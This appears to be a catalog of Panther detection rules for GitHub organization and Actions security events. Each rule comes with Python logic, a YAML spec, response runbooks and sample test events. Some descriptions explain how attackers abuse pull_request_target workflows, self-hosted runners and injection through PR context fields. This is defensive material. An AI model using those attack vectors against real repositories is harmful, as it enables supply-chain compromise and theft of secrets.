GitHubAudit log action org.self_hosted_runner_online: Self-hosted runner application started
GitHubAudit log action org.self_hosted_runner_updated: Self-hosted runner application updated
GitHubAudit log action org.set_actions_cache_retention_policy: Actions cache retention policy set for organization
GitHubAudit log action org.set_actions_cache_storage_policy: Actions cache storage policy set for organization
GitHubAudit log action org.set_actions_fork_pr_approvals_policy: Fork PR workflow approval requirement changed for organization
GitHubAudit log action org.set_actions_private_fork_pr_approvals_policy: Fork PR workflow approval policy changed for private repos
GitHubAudit log action org.set_actions_retention_limit: Actions artifact and log retention period changed for organization
GitHubAudit log action org.set_custom_invitation_rate_limit
GitHubAudit log action org.set_default_workflow_permissions: Default GITHUB_TOKEN permissions changed for organization
GitHubAudit log action org.set_fork_pr_workflows_policy: Private repository fork PR workflow policy changed
GitHubAudit log action org.set_workflow_permission_can_approve_pr: Actions PR creation and approval policy changed for organization
GitHubAudit log action org.sso_response: SAML SSO response generated for organization sign-in attempt
GitHubAudit log action org.transfer: Organization transferred between enterprise accounts
GitHubAudit log action org.transfer_outgoing: Organization transferred between enterprise accounts
GitHubAudit log action org.unarchive: Organization unarchived
GitHubAudit log action org.unblock_user: User unblocked from organization
GitHubAudit log action org.update_actions_secret: Actions secret updated for organization
GitHubAudit log action org.update_actions_settings: Actions policy settings updated for organization
GitHubAudit log action org.update_actions_variable: Actions variable updated for organization
GitHubAudit log action org.update_custom_images_policy: Actions custom image policy updated for organization
GitHubAudit log action org.update_default_repository_permission: Default member repository permission level changed
GitHubAudit log action org.update_immutable_releases_settings_policy: Immutable releases settings policy updated for organization
GitHubAudit log action org.update_integration_secret: Codespaces or Dependabot secret updated for organization
GitHubAudit log action org.update_member: Member role changed between owner and member
GitHubAudit log action org.update_member_repository_creation_permission: Member repository creation permission changed
GitHubAudit log action org.update_member_repository_invitation_permission: Member outside collaborator invitation policy changed
GitHubAudit log action org.update_new_repository_default_branch_setting: Default branch name changed for new repositories
GitHubAudit log action org.update_repo_self_hosted_runners_policy: Repository self-hosted runners policy updated
GitHubAudit log action org.update_saml_provider_settings: Organization SAML provider settings updated
GitHubAudit log action org.update_terms_of_service: Terms of service agreement changed for organization

Rules detecting the same action

These rules filter on the same operation.

Detection logic

AUTH_CHANGE_EVENTS = [
    "org.saml_disabled",
    "org.saml_enabled",
    "org.disable_two_factor_requirement",
    "org.enable_two_factor_requirement",
    "org.update_saml_provider_settings",
    "org.enable_oauth_app_restrictions",
    "org.disable_oauth_app_restrictions",
]


def rule(event):

    if not event.get("action").startswith("org."):
        return False

    return event.get("action") in AUTH_CHANGE_EVENTS


def title(event):
    return f"GitHub auth configuration was changed by {event.get('actor', '<UNKNOWN USER>')}"

Rule specification

AnalysisType: rule
Filename: github_org_auth_modified.py
RuleID: "GitHub.Org.AuthChange"
DisplayName: "GitHub Org Authentication Method Changed"
Enabled: true
LogTypes:
  - GitHub.Audit
Tags:
  - GitHub
  - Persistence
  - Account Manipulation
  - Identity and Access Management
  - Security Configuration
  - Privilege Escalation
  - Defense Evasion
  - Organization Security
Reports:
  MITRE ATT&CK:
    - TA0003:T1098
Severity: Critical
SummaryAttributes:
  - actor
  - action
Description: >
  Detects critical changes to GitHub organization authentication settings including SAML SSO, 2FA requirements, SAML provider configuration, and OAuth restrictions. These foundational security controls protect entire organizations, and unauthorized modifications can enable attackers to bypass identity management, maintain persistence, or prepare for data exfiltration. Legitimate changes are rare and should be well-documented with proper authorization.
Runbook: |
  1. Query GitHub audit logs for all actions by the actor in the 48 hours around this authentication change to identify other suspicious activities such as adding organization members, creating personal access tokens, modifying repository permissions, or accessing private repositories
  2. Review the organization membership changes, team permission modifications, and repository access grants in the 6 hours around this event to determine if the actor used elevated access to establish additional persistence mechanisms
  3. Check GitHub audit logs for authentication failures, suspicious login locations, or unusual access patterns from the actor's account in the 7 days before this change that might indicate account compromise
Reference: https://docs.github.com/en/authentication/keeping-your-account-and-data-secure/about-authentication-to-github

Stages and Predicates

Fires on GitHub.Audit events when all of the conditions below hold.

Condition

  • action starts with org.
  • action is one of org.saml_disabled, org.saml_enabled, org.disable_two_factor_requirement, org.enable_two_factor_requirement, org.update_saml_provider_settings (+2 more values, see Indicators below)

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
actionin
  • org.disable_oauth_app_restrictions
  • org.disable_two_factor_requirement
  • org.enable_oauth_app_restrictions
  • org.enable_two_factor_requirement
  • org.saml_disabled
  • org.saml_enabled
  • org.update_saml_provider_settings
field:"action" kind:in
actionstarts_with
  • org.
field:"action" kind:starts_with value:"org."

Output fields

Fields the rule emits when it matches, drawn from the rule's alert_context.

Field
actor

Response runbook

1. Query GitHub audit logs for all actions by the actor in the 48 hours around this authentication change to identify other suspicious activities such as adding organization members, creating personal access tokens, modifying repository permissions, or accessing private repositories

2. Review the organization membership changes, team permission modifications, and repository access grants in the 6 hours around this event to determine if the actor used elevated access to establish additional persistence mechanisms

3. Check GitHub audit logs for authentication failures, suspicious login locations, or unusual access patterns from the actor's account in the 7 days before this change that might indicate account compromise

Worked example

A sample event from the rule's unit tests that triggers a match.

Sample Test Event
{
  "action": "org.saml_disabled",
  "actor": "cat",
  "created_at": 1621305118553,
  "org": "my-org",
  "p_log_type": "GitHub.Audit",
  "repo": "my-org/my-repo"
}

GitHub Org IP Allow List modified

#
Severity
medium
Log types
GitHub.Audit
Tags
GitHub, Persistence:Account Manipulation
Reference
docs.github.com
Source
github.com/panther-labs/panther-analysis

Detects changes to a GitHub Org IP Allow List

MITRE ATT&CK coverage

TacticTechniques
Persistence

Telemetry coverage

Rules detecting the same action

These rules filter on the same operation.

Detection logic

ALLOWLIST_ACTIONS = [
    "ip_allow_list.enable",
    "ip_allow_list.disable",
    "ip_allow_list.enable_for_installed_apps",
    "ip_allow_list.disable_for_installed_apps",
    "ip_allow_list_entry.create",
    "ip_allow_list_entry.update",
    "ip_allow_list_entry.destroy",
]


def rule(event):

    return (
        event.get("action").startswith("ip_allow_list") and event.get("action") in ALLOWLIST_ACTIONS
    )


def title(event):
    return f"GitHub Org IP Allow list modified by {event.get('actor')}."

Rule specification

AnalysisType: rule
Filename: github_org_ip_allowlist.py
RuleID: "GitHub.Org.IpAllowlist"
DisplayName: "GitHub Org IP Allow List modified"
Enabled: true
LogTypes:
  - GitHub.Audit
Tags:
  - GitHub
  - Persistence:Account Manipulation
Reports:
  MITRE ATT&CK:
    - TA0003:T1098
Severity: Medium
SummaryAttributes:
  - actor
  - action
Description: Detects changes to a GitHub Org IP Allow List
Runbook: Verify that the change was authorized and appropriate.
Reference: https://docs.github.com/en/apps/maintaining-github-apps/managing-allowed-ip-addresses-for-a-github-app

Stages and Predicates

Fires on GitHub.Audit events when all of the conditions below hold.

Condition

  • action starts with ip_allow_list
  • action is one of ip_allow_list.enable, ip_allow_list.disable, ip_allow_list.enable_for_installed_apps, ip_allow_list.disable_for_installed_apps, ip_allow_list_entry.create (+2 more values, see Indicators below)

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
actionin
  • ip_allow_list.disable
  • ip_allow_list.disable_for_installed_apps
  • ip_allow_list.enable
  • ip_allow_list.enable_for_installed_apps
  • ip_allow_list_entry.create
  • ip_allow_list_entry.destroy
  • ip_allow_list_entry.update
field:"action" kind:in
actionstarts_with
  • ip_allow_list
field:"action" kind:starts_with value:"ip_allow_list"

Output fields

Fields the rule emits when it matches, drawn from the rule's alert_context.

Field
actor

Response runbook

Verify that the change was authorized and appropriate.

Worked example

A sample event from the rule's unit tests that triggers a match.

Sample Test Event
{
  "action": "ip_allow_list_entry.create",
  "actor": "cat",
  "created_at": 1621305118553,
  "org": "my-org",
  "p_log_type": "GitHub.Audit"
}

Github Organization App Integration Installed

#
Severity
low
Entities
usernames
Log types
GitHub.Audit
Tags
Application Installation, Github
Reference
docs.github.com
Source
github.com/panther-labs/panther-analysis

An application integration was installed to your organization's Github account by someone in your organization.

Telemetry coverage

Rules detecting the same action

These rules filter on the same operation.

Detection logic

from panther_github_helpers import github_alert_context


def rule(event):

    # Return True to match the log event and trigger an alert.
    # Creates a new alert if the event's action was ""
    return event.get("action") == "integration_installation.create"


def title(event):
    # (Optional) Return a string which will be shown as the alert title.
    # If no 'dedup' function is defined, the return value of this method
    # will act as deduplication string.
    return (
        f" Github User [{event.get('actor',{})}] in [{event.get('org')}] "
        f"installed the following integration: [{event.get('name')}]."
    )


# def dedup(event):
#  (Optional) Return a string which will be used to deduplicate similar alerts.
# return ''


def alert_context(event):
    #  (Optional) Return a dictionary with additional data to be included in the
    #  alert sent to the SNS/SQS/Webhook destination
    return github_alert_context(event)

Rule specification

AnalysisType: rule
Description: An application integration was installed to your organization's Github account by someone in your organization.
DisplayName: "Github Organization App Integration Installed"
Enabled: true
Filename: github_organization_app_integration_installed.py
Reference: https://docs.github.com/en/enterprise-server@3.4/developers/apps/managing-github-apps/installing-github-apps
Runbook: Confirm that the app integration installation was a desired behavior.
Severity: Low
Tags:
  - Application Installation
  - Github
DedupPeriodMinutes: 60
LogTypes:
  - GitHub.Audit
RuleID: "Github.Organization.App.Integration.Installed"
SummaryAttributes:
  - actor
  - name
Threshold: 1

Stages and Predicates

Fires on GitHub.Audit events when the condition below holds.

Condition

  • action is integration_installation.create

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
actioneq
  • integration_installation.create
field:"action" kind:eq value:"integration_installation.create"

Output fields

Fields the rule emits when it matches, drawn from the rule's alert_context.

FieldSource
action
actor
actor_locationactor_location.country_code
org
repo
user
name

Response runbook

Confirm that the app integration installation was a desired behavior.

Worked example

A sample event from the rule's unit tests that triggers a match.

Sample Test Event
{
  "_document_id": "A-2345",
  "action": "integration_installation.create",
  "actor": "user_name",
  "actor_location": {
    "country_code": "US"
  },
  "at_sign_timestamp": "2022-12-11 05:28:05.542",
  "created_at": "2022-12-11 05:28:05.542",
  "name": "Microsoft Teams for GitHub",
  "org": "your-organization",
  "p_any_usernames": [
    "user_name"
  ]
}

Github Public Repository Created

#
Severity
medium
Log types
GitHub.Audit
Tags
Github Repository, Public, Repository Created
Reference
docs.github.com
Source
github.com/panther-labs/panther-analysis

A public Github repository was created.

Telemetry coverage

Rules detecting the same action

These rules filter on the same operation.

Detection logic

from panther_github_helpers import github_alert_context


def rule(event):

    # Return True if a public repository was created
    return event.get("action", "") == "repo.create" and event.get("visibility", "") == "public"


def title(event):
    # (Optional) Return a string which will be shown as the alert title.
    # If no 'dedup' function is defined, the return value of this method
    # will act as deduplication string.
    return (
        f"Repository [{event.get('repo', '<UNKNOWN_REPO>')}] "
        f"created with public status by Github user [{event.get('actor')}]."
    )


# def dedup(event):
#  (Optional) Return a string which will be used to deduplicate similar alerts.
# return ''


def alert_context(event):
    #  (Optional) Return a dictionary with additional data to be included in the alert
    # sent to the SNS/SQS/Webhook destination
    return github_alert_context(event)

Rule specification

AnalysisType: rule
Description: A public Github repository was created.
DisplayName: "Github Public Repository Created"
Enabled: true
Filename: github_public_repository_created.py
Runbook: Confirm this github repository was intended to be created as 'public' versus 'private'.
Reference: https://docs.github.com/en/get-started/quickstart/create-a-repo
Severity: Medium
Tags:
  - Github Repository
  - Public
  - Repository Created
DedupPeriodMinutes: 60
LogTypes:
  - GitHub.Audit
RuleID: "Github.Public.Repository.Created"
SummaryAttributes:
  - actor
  - repository
  - visibility
Threshold: 1

Stages and Predicates

Fires on GitHub.Audit events when all of the conditions below hold.

Condition

  • action is repo.create
  • visibility is public

Indicators

These rows show field, operator, and value matches.

Output fields

Fields the rule emits when it matches, drawn from the rule's alert_context.

FieldSource
action
actor
actor_locationactor_location.country_code
org
repo
user

Response runbook

Confirm this github repository was intended to be created as 'public' versus 'private'.

Worked example

A sample event from the rule's unit tests that triggers a match.

Sample Test Event
{
  "_document_id": "abCD",
  "action": "repo.create",
  "actor": "example-actor",
  "actor_location": {
    "country_code": "US"
  },
  "at_sign_timestamp": "2022-12-11 22:40:20.268",
  "created_at": "2022-12-11 22:40:20.268",
  "org": "example-io",
  "repo": "example-io/oops",
  "visibility": "public"
}

GitHub pull_request_target Workflow on Self-Hosted Runner

#
Severity
high
Time window
30h
Match by
workflow_job.run_id, workflow_run.id
Tags
CI/CD, Workflow, Supply Chain, Self-Hosted, Infrastructure Compromise
Reference
docs.github.com
Source
github.com/panther-labs/panther-analysis

Detects when a pull_request_target workflow runs on a self-hosted runner. pull_request_target workflows run with elevated privileges and have access to repository secrets even when triggered by external contributors from forks. When these workflows run on self-hosted runners attackers can gain direct code execution on the underlying infrastructure with potential access to internal network, databases, and systems. Unlike GitHub-hosted runners which are destroyed after each job, self-hosted runners persist and can be permanently compromised. This pattern is high risk regardless of whether the PR is cross-fork or same-repository because self-hosted runners represent infrastructure access. GitHub explicitly warns never to use self-hosted runners with public repositories or workflows that can be triggered by untrusted contributors. This configuration allows any GitHub user with read access to your repository to execute arbitrary code on your infrastructure.

MITRE ATT&CK coverage

Rule specification

AnalysisType: correlation_rule
RuleID: "GitHub.PullRequestTarget.WITH.SelfHostedRunner"
DisplayName: "GitHub pull_request_target Workflow on Self-Hosted Runner"
Enabled: false
Severity: High
Tags:
  - CI/CD
  - Workflow
  - Supply Chain
  - Self-Hosted
  - Infrastructure Compromise
Reports:
  MITRE ATT&CK:
    - TA0001:T1195.002  # Supply Chain Compromise: Compromise Software Supply Chain
    - TA0002:T1072  # Execution: Software Deployment Tools
    - TA0008:T1021  # Lateral Movement: Remote Services
    - TA0004:T1134  # Privilege Escalation: Access Token Manipulation
Description: >
  Detects when a pull_request_target workflow runs on a self-hosted runner. pull_request_target workflows
  run with elevated privileges and have access to repository secrets even when triggered by external contributors from forks.
  When these workflows run on self-hosted runners attackers can gain direct code execution on the underlying infrastructure 
  with potential access to internal network, databases, and systems. Unlike GitHub-hosted runners which are destroyed after each job, 
  self-hosted runners persist and can be permanently compromised. This pattern is high risk regardless of whether the PR
  is cross-fork or same-repository because self-hosted runners represent infrastructure access.
  GitHub explicitly warns never to use self-hosted runners with public repositories or workflows
  that can be triggered by untrusted contributors. This configuration allows any GitHub user with
  read access to your repository to execute arbitrary code on your infrastructure.
Runbook: |
  1. Stop the self-hosted runner:
     - SSH/access the runner system
     - Stop the runner service or unregister the runner

  2. Isolate the runner from network:
     - Block outbound connections via firewall
     - Disconnect from internal network if possible

  3. Review the workflow:
     - Disable or delete the workflow file that uses pull_request_target + self-hosted
     - Or modify to use "runs-on: ubuntu-latest"

  4. Check runner system for compromise:
     - Review auth logs for unauthorized access
     - Check network connections: netstat -tunap | grep ESTABLISHED
     - Look for persistence mechanisms (cron, systemd, rc.local)
     - Check for suspicious processes or files
     - Review bash history for malicious commands

  5. Review recent workflow runs:
     - Check all workflows that ran on this runner in past 7 days
     - Look for other suspicious activity
     - Identify if compromise occurred in previous runs

  6. Search for indicators of compromise:
     - Outbound connections to suspicious IPs/domains
     - New user accounts or SSH keys on runner system
     - Modified system files or configurations
     - Cryptocurrency miners or backdoors
     - Data staging areas or compressed archives
Reference: https://docs.github.com/en/actions/security-guides/security-hardening-for-github-actions#hardening-for-self-hosted-runners
Detection:
  - Group:
      - ID: PullRequestTarget
        RuleID: GitHub.Webhook.PullRequestTargetUsage
      - ID: SelfHostedRunner
        RuleID: GitHub.Webhook.SelfHostedRunnerUsed
    MatchCriteria:
      field_name:
        - GroupID: PullRequestTarget
          Match: workflow_run.id
        - GroupID: SelfHostedRunner
          Match: workflow_job.run_id
    EventEvaluationOrder: Chronological
    LookbackWindowMinutes: 1800
    Schedule:
      RateMinutes: 1440
      TimeoutMinutes: 10

Stages and Predicates

Fires when the steps below all occur within 30h, correlated by workflow_job.run_id, workflow_run.id. Each step needs one match unless a higher minimum is shown.

Stage 1: step PullRequestTarget

References detection GitHub pull_request_target Workflow Usage.

Stage 2: step SelfHostedRunner

References detection GitHub Workflow Using Self-Hosted Runner.

Response runbook

1. Stop the self-hosted runner:

- SSH/access the runner system

- Stop the runner service or unregister the runner

2. Isolate the runner from network:

- Block outbound connections via firewall

- Disconnect from internal network if possible

3. Review the workflow:

- Disable or delete the workflow file that uses pull_request_target + self-hosted

- Or modify to use "runs-on: ubuntu-latest"

4. Check runner system for compromise:

- Review auth logs for unauthorized access

- Check network connections: netstat -tunap | grep ESTABLISHED

- Look for persistence mechanisms (cron, systemd, rc.local)

- Check for suspicious processes or files

- Review bash history for malicious commands

5. Review recent workflow runs:

- Check all workflows that ran on this runner in past 7 days

- Look for other suspicious activity

- Identify if compromise occurred in previous runs

6. Search for indicators of compromise:

- Outbound connections to suspicious IPs/domains

- New user accounts or SSH keys on runner system

- Modified system files or configurations

- Cryptocurrency miners or backdoors

- Data staging areas or compressed archives

GitHub pull_request_target Workflow Usage

#
Severity
high
Log types
GitHub.Webhook
Tags
CI/CD, Workflow, Privilege Escalation
Reference
docs.github.com
Source
github.com/panther-labs/panther-analysis

Detects usage of pull_request_target workflows, which run with elevated privileges and can access secrets even when triggered by external contributors from forks. These workflows pose security risks as they run in the context of the target repository rather than the fork, potentially allowing malicious code execution with write access and secrets. Low severity for non-cross-fork PRs.

MITRE ATT&CK coverage

Rules detecting the same action

These rules filter on the same operation.

Detection logic

from panther_base_helpers import deep_get
from panther_github_helpers import (
    github_reference_url,
    github_webhook_alert_context,
    is_cross_fork_pr,
)


def rule(event):
    return (
        event.deep_get("workflow_run", "event") == "pull_request_target"
        and event.get("action") == "completed"
    )


def title(event):
    workflow_name = event.deep_get("workflow_run", "name", default="<UNKNOWN_WORKFLOW>")
    repo_name = deep_get(event, "repository", "full_name", default="<UNKNOWN_REPO>")
    action = event.get("action", "<UNKNOWN_ACTION>")

    if is_cross_fork_pr(event):
        return (
            f"pull_request_target workflow [{workflow_name}] "
            f"triggered by cross-fork PR in {repo_name} ({action})"
        )
    return f"pull_request_target workflow [{workflow_name}] triggered in {repo_name} ({action})"


def alert_context(event):
    context = github_webhook_alert_context(event)

    workflow_run = event.get("workflow_run", {})
    if workflow_run:
        context["workflow_run"] = {
            "id": workflow_run.get("id"),
            "name": workflow_run.get("name"),
            "event": workflow_run.get("event"),
            "status": workflow_run.get("status"),
            "conclusion": workflow_run.get("conclusion"),
            "html_url": workflow_run.get("html_url"),
        }

    return context


def reference(event):
    if reference_url := github_reference_url(event):
        return reference_url

    return "DEFAULT"


def severity(event):
    if is_cross_fork_pr(event):
        return "DEFAULT"

    return "LOW"

Rule specification

AnalysisType: rule
Filename: github_pull_request_target_usage.py
RuleID: "GitHub.Webhook.PullRequestTargetUsage"
DisplayName: "GitHub pull_request_target Workflow Usage"
Enabled: true
LogTypes:
  - GitHub.Webhook
Reports:
  MITRE ATT&CK:
    - TA0001:T1195.002  # Supply Chain Compromise: Compromise Software Supply Chain
    - TA0002:T1072  # Execution: Software Deployment Tools
    - TA0004:T1134 # Privilege Escalation: Access Token Manipulation
Tags:
  - CI/CD
  - Workflow
  - Privilege Escalation
Severity: High
Description: >
  Detects usage of pull_request_target workflows, which run with elevated privileges and can access
  secrets even when triggered by external contributors from forks. These workflows pose security risks
  as they run in the context of the target repository rather than the fork, potentially allowing
  malicious code execution with write access and secrets. Low severity for non-cross-fork PRs.
Runbook: |
  1. Verify the pull_request_target workflow is necessary and properly secured
  2. Check that the workflow doesn't build or run untrusted code from the pull request
  3. Ensure the workflow follows security best practices:
     - Uses explicit checkout with trusted refs
     - Validates inputs and doesn't execute arbitrary code
     - Has minimal required permissions
  4. Review the workflow file for potential security vulnerabilities
  5. Monitor for unusual activity from external contributors
  6. Consider if pull_request event would be sufficient instead
Reference: https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target

Stages and Predicates

Fires on GitHub.Webhook events when all of the conditions below hold.

Condition

  • workflow_run.event is pull_request_target
  • action is completed

Indicators

These rows show field, operator, and value matches.

Output fields

Fields the rule emits when it matches, drawn from the rule's alert_context.

FieldSource
action
actor
actor_locationactor_location.country_code
org
repo
user
nameworkflow_run.name
full_namerepository.full_name

Response runbook

1. Verify the pull_request_target workflow is necessary and properly secured

2. Check that the workflow doesn't build or run untrusted code from the pull request

3. Ensure the workflow follows security best practices:

- Uses explicit checkout with trusted refs

- Validates inputs and doesn't execute arbitrary code

- Has minimal required permissions

4. Review the workflow file for potential security vulnerabilities

5. Monitor for unusual activity from external contributors

6. Consider if pull_request event would be sufficient instead

Worked example

A sample event from the rule's unit tests that triggers a match.

Sample Test Event
{
  "action": "completed",
  "repository": {
    "full_name": "example-org/example-repo",
    "id": 243627255,
    "private": true
  },
  "workflow_run": {
    "conclusion": "success",
    "event": "pull_request_target",
    "head_branch": "feature-branch",
    "html_url": "https://github.com/example-org/example-repo/actions/runs/12345678",
    "id": 12345678,
    "name": "Security Scan",
    "pull_requests": [
      {
        "base": {
          "ref": "main",
          "repo": {
            "full_name": "example-org/example-repo",
            "id": 243627255,
            "name": "example-repo"
          }
        },
        "head": {
          "ref": "feature-branch",
          "repo": {
            "full_name": "example-org/example-repo",
            "id": 243627255,
            "name": "example-repo"
          }
        },
        "number": 123
      }
    ],
    "status": "completed"
  }
}

GitHub pull_request_target Workflow with Checkout Action

#
Severity
medium
Time window
30h
Match by
workflow_job.run_id, workflow_run.id
Tags
CI/CD, Workflow, Supply Chain, Privilege Escalation
Reference
securitylab.github.com
Source
github.com/panther-labs/panther-analysis

Detects when a pull_request_target workflow contains a checkout action, creating a potential security risk. pull_request_target workflows run with elevated privileges and have access to repository secrets even when triggered by external contributors from forks. When combined with a checkout action, this can create dangerous attack vectors. This is a well-known technique for supply chain compromise in GitHub Actions, often called a "pwn request".

MITRE ATT&CK coverage

Rule specification

AnalysisType: correlation_rule
RuleID: "GitHub.PullRequestTarget.WITH.Checkout.In.Workflow"
DisplayName: "GitHub pull_request_target Workflow with Checkout Action"
Enabled: false
Severity: Medium
Tags:
  - CI/CD
  - Workflow
  - Supply Chain
  - Privilege Escalation
Reports:
  MITRE ATT&CK:
    - TA0001:T1195.002  # Supply Chain Compromise: Compromise Software Supply Chain
    - TA0002:T1072  # Execution: Software Deployment Tools
    - TA0004:T1134  # Privilege Escalation: Access Token Manipulation
Description: >
  Detects when a pull_request_target workflow contains a checkout action, creating a potential
  security risk. pull_request_target workflows run with elevated privileges and have access to
  repository secrets even when triggered by external contributors from forks. When combined with
  a checkout action, this can create dangerous attack vectors. This is a well-known technique for
  supply chain compromise in GitHub Actions, often called a "pwn request". 
Runbook: |
  0: Assess Actual Severity
    - Check if this was triggered by a cross-fork PR. Cross-fork PRs are significantly more dangerous as any GitHub user can submit them.
  1. Review the workflow file immediately to determine the security impact
  2. Check what the checkout action is checking out:
     - Look for 'ref' parameter in the checkout step in .github/workflows/
     - PR head checkout should be treated as higher severity as untrusted code can be executed with the wokflow secrets (ref: ${{ github.event.pull_request.head.sha }}). If no ref is specified in the workflow, the default is the PR head.
     - Base branch checkout (ref: ${{ github.event.pull_request.base.ref }}) or ${{ github.base_ref }} can be treated as medium severity. They are generally safer but can still be vulnerable.
  3. Verify if the workflow uses untrusted PR context data (even with base branch checkout):
     - Check for: ${{ github.event.pull_request.title }}, .body, .head_ref, .user.login, etc.
     - These can inject malicious commands even when code is trusted
     - If found, carefully review workflow and PR logs to determine malicious intent.
  4. Check if workflow executes code from the checked-out repository:
     - Build scripts, tests, or any arbitrary code execution
     - npm install, pip install, or dependency installations from checked out code
     - If yes with PR head checkout, this should be treated as a higher severity alert.
  5. Review workflow permissions and secret access:
     - Check GITHUB_TOKEN permissions
     - Identify which secrets are accessible
     - Higher risk if write permissions or sensitive secrets present
  7. Immediate mitigation if vulnerable:
     - Review and consider disabling
     - Switch to pull_request event if elevated privileges aren't needed
     - Implement explicit checkout of trusted refs only
     - Sanitize all PR context variables before use
  8. Review PR author and changes for signs of malicious intent
  9. Check workflow run logs for suspicious activity or exfiltration attempts
Reference: https://securitylab.github.com/research/github-actions-preventing-pwn-requests/
Detection:
  - Group:
      - ID: PullRequestTarget
        RuleID: GitHub.Webhook.PullRequestTargetUsage
      - ID: WorkflowCheckout
        RuleID: GitHub.Webhook.WorkflowContainsCheckout
    MatchCriteria:
      field_name:
        - GroupID: PullRequestTarget
          Match: workflow_run.id
        - GroupID: WorkflowCheckout
          Match: workflow_job.run_id
    EventEvaluationOrder: Chronological
    LookbackWindowMinutes: 1800
    Schedule:
      RateMinutes: 1440
      TimeoutMinutes: 10

Stages and Predicates

Fires when the steps below all occur within 30h, correlated by workflow_job.run_id, workflow_run.id. Each step needs one match unless a higher minimum is shown.

Stage 1: step PullRequestTarget

References detection GitHub pull_request_target Workflow Usage.

Stage 2: step WorkflowCheckout

References detection GitHub Workflow Contains Checkout Action.

Response runbook

0: Assess Actual Severity

- Check if this was triggered by a cross-fork PR. Cross-fork PRs are significantly more dangerous as any GitHub user can submit them.

1. Review the workflow file immediately to determine the security impact

2. Check what the checkout action is checking out:

- Look for 'ref' parameter in the checkout step in .github/workflows/

- PR head checkout should be treated as higher severity as untrusted code can be executed with the wokflow secrets (ref: ${{ github.event.pull_request.head.sha }}). If no ref is specified in the workflow, the default is the PR head.

- Base branch checkout (ref: ${{ github.event.pull_request.base.ref }}) or ${{ github.base_ref }} can be treated as medium severity. They are generally safer but can still be vulnerable.

3. Verify if the workflow uses untrusted PR context data (even with base branch checkout):

- Check for: ${{ github.event.pull_request.title }}, .body, .head_ref, .user.login, etc.

- These can inject malicious commands even when code is trusted

- If found, carefully review workflow and PR logs to determine malicious intent.

4. Check if workflow executes code from the checked-out repository:

- Build scripts, tests, or any arbitrary code execution

- npm install, pip install, or dependency installations from checked out code

- If yes with PR head checkout, this should be treated as a higher severity alert.

5. Review workflow permissions and secret access:

- Check GITHUB_TOKEN permissions

- Identify which secrets are accessible

- Higher risk if write permissions or sensitive secrets present

7. Immediate mitigation if vulnerable:

- Review and consider disabling

- Switch to pull_request event if elevated privileges aren't needed

- Implement explicit checkout of trusted refs only

- Sanitize all PR context variables before use

8. Review PR author and changes for signs of malicious intent

9. Check workflow run logs for suspicious activity or exfiltration attempts

GitHub Repository Archived

#
Severity
informational
Log types
GitHub.Audit
Tags
GitHub, panther-signal
Reference
docs.github.com
Source
github.com/panther-labs/panther-analysis

Detects when a repository is archived.

Telemetry coverage

Rules detecting the same action

These rules filter on the same operation.

Rule specification

AnalysisType: rule
RuleID: "Github.Repo.Archived"
DisplayName: "GitHub Repository Archived"
Enabled: true
CreateAlert: false
LogTypes:
  - GitHub.Audit
Tags:
  - GitHub
  - panther-signal
Reference: https://docs.github.com/en/repositories/archiving-a-github-repository/about-archiving-content-and-data-on-github
Severity: Info
Description: Detects when a repository is archived.
Detection:
  - Key: action
    Condition: Equals
    Value: repo.archived
AlertTitle: "Repository [{repo}] archived."
AlertContext:
  - KeyName: action
    KeyValue:
      Key: action
  - KeyName: actor
    KeyValue:
      Key: actor
  - KeyName: org
    KeyValue:
      Key: org
  - KeyName: repo
    KeyValue:
      Key: repo
  - KeyName: user
    KeyValue:
      Key: user
  - KeyName: actor_location
    KeyValue:
      KeyPath: actor_location.country_code

Stages and Predicates

Fires on GitHub.Audit events when the condition below holds.

Condition

  • action is repo.archived

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
actioneq
  • repo.archived
field:"action" kind:eq value:"repo.archived"

GitHub Repository Collaborator Change

#
Severity
medium
Log types
GitHub.Audit
Tags
GitHub, Initial Access:Supply Chain Compromise
Reference
docs.github.com
Source
github.com/panther-labs/panther-analysis

Detects when a repository collaborator is added or removed.

MITRE ATT&CK coverage

TacticTechniques
Initial Access

Telemetry coverage

Detection logic

def rule(event):

    return event.get("action") in ("repo.add_member", "repo.remove_member")


def title(event):
    repo_link = f"https://github.com/{event.get('repo','<UNKNOWN_REPO>')}/settings/access"
    action = "added to"
    if event.get("action") == "repo.remove_member":
        action = "removed from"
    return (
        f"Repository collaborator [{event.get('user', '<UNKNOWN_USER>')}] {action} "
        f"repository {event.get('repo', '<UNKNOWN_REPO>')}. "
        f"View current collaborators here: {repo_link}"
    )


def severity(event):
    if event.get("action") == "repo.remove_member":
        return "INFO"
    return "MEDIUM"

Rule specification

AnalysisType: rule
Filename: github_repo_collaborator_change.py
RuleID: "Github.Repo.CollaboratorChange"
DisplayName: "GitHub Repository Collaborator Change"
Enabled: true
LogTypes:
  - GitHub.Audit
Tags:
  - GitHub
  - Initial Access:Supply Chain Compromise
Reports:
  MITRE ATT&CK:
    - TA0001:T1195
Severity: Medium
Description: Detects when a repository collaborator is added or removed.
Runbook: Determine if the new collaborator is authorized to access the repository.
Reference: https://docs.github.com/en/organizations/managing-user-access-to-your-organizations-repositories/managing-repository-roles/managing-an-individuals-access-to-an-organization-repository

Stages and Predicates

Fires on GitHub.Audit events when the condition below holds.

Condition

  • action is one of repo.add_member, repo.remove_member

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
actionin
  • repo.add_member
  • repo.remove_member
field:"action" kind:in

Output fields

Fields the rule emits when it matches, drawn from the rule's alert_context.

Field
user
repo

Response runbook

Determine if the new collaborator is authorized to access the repository.

Worked example

A sample event from the rule's unit tests that triggers a match.

Sample Test Event
{
  "action": "repo.add_member",
  "actor": "bob",
  "created_at": 1621305118553,
  "org": "my-org",
  "p_log_type": "GitHub.Audit",
  "repo": "my-org/my-repo",
  "user": "cat"
}

GitHub Repository Created

#
Severity
informational
Log types
GitHub.Audit
Tags
GitHub
Reference
docs.github.com
Source
github.com/panther-labs/panther-analysis

Detects when a repository is created.

Telemetry coverage

Rules detecting the same action

These rules filter on the same operation.

Detection logic

def rule(event):

    return event.get("action") == "repo.create"


def title(event):
    return f"Repository [{event.get('repo', '<UNKNOWN_REPO>')}] created."

Rule specification

AnalysisType: rule
Filename: github_repo_created.py
RuleID: "Github.Repo.Created"
DisplayName: "GitHub Repository Created"
Enabled: true
LogTypes:
  - GitHub.Audit
Tags:
  - GitHub
